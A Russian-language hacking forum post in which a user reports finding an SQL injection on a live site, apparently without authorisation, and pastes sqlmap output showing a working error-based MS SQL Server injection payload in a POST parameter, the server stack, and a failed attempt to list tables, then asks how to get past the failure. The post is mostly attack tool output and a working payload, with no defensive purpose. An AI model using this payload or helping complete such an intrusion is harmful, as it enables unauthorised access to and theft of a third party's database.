Показать сообщение отдельно

  #757  
Старый 30.09.2018, 14:06
qwerty1qwerty
Новичок
Регистрация: 09.06.2018
Сообщений: 11
Провел на форуме:
2069

Репутация: 0
По умолчанию

Всем привет. Нашел иньекцию. Спарсил бд на ура,но неможет найти таблицы,--hex и --no-cast не помогают.Тамперы некоторые тоже. В чем может быть проблема? и что можно сделать?
[*] starting at 13:52:51

[13:52:52] [INFO] resuming back-end DBMS 'microsoft sql server'

[13:52:52] [INFO] testing connection to the target URL

[13:52:54] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection

[13:53:00] [WARNING] WAF/IPS/IDS product hasn't been identified

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: Sponsor (POST)

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

(IN)

Payload: PlacementID=&Sponsor=DFGHJK'+(SELECT 'hwlL' WHERE 5397=5397 AND 8

871 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(118)+CHAR(98)+CHAR(113)+ (SELECT (CASE W

HEN (8871=8871) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+

CHAR(106)+CHAR(113))))+'

---

[13:53:00] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 8.1 or 2012 R2

web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5

back-end DBMS: Microsoft SQL Server 2012

[13:53:00] [INFO] fetching tables for database: db_superdb

[13:53:23] [WARNING] the SQL query provided does not return any output

[13:53:23] [WARNING] in case of continuous data retrieval problems you are advis

ed to try a switch '--no-cast' or switch '--hex'

[13:53:24] [WARNING] the SQL query provided does not return any output

[13:53:24] [CRITICAL] unable to retrieve the tables for any database

[13:53:24] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 2 times, 404 (Not Found) - 1 times
[*] shutting down at 13:53:24

C:\sqlmap>
 
Ответить с цитированием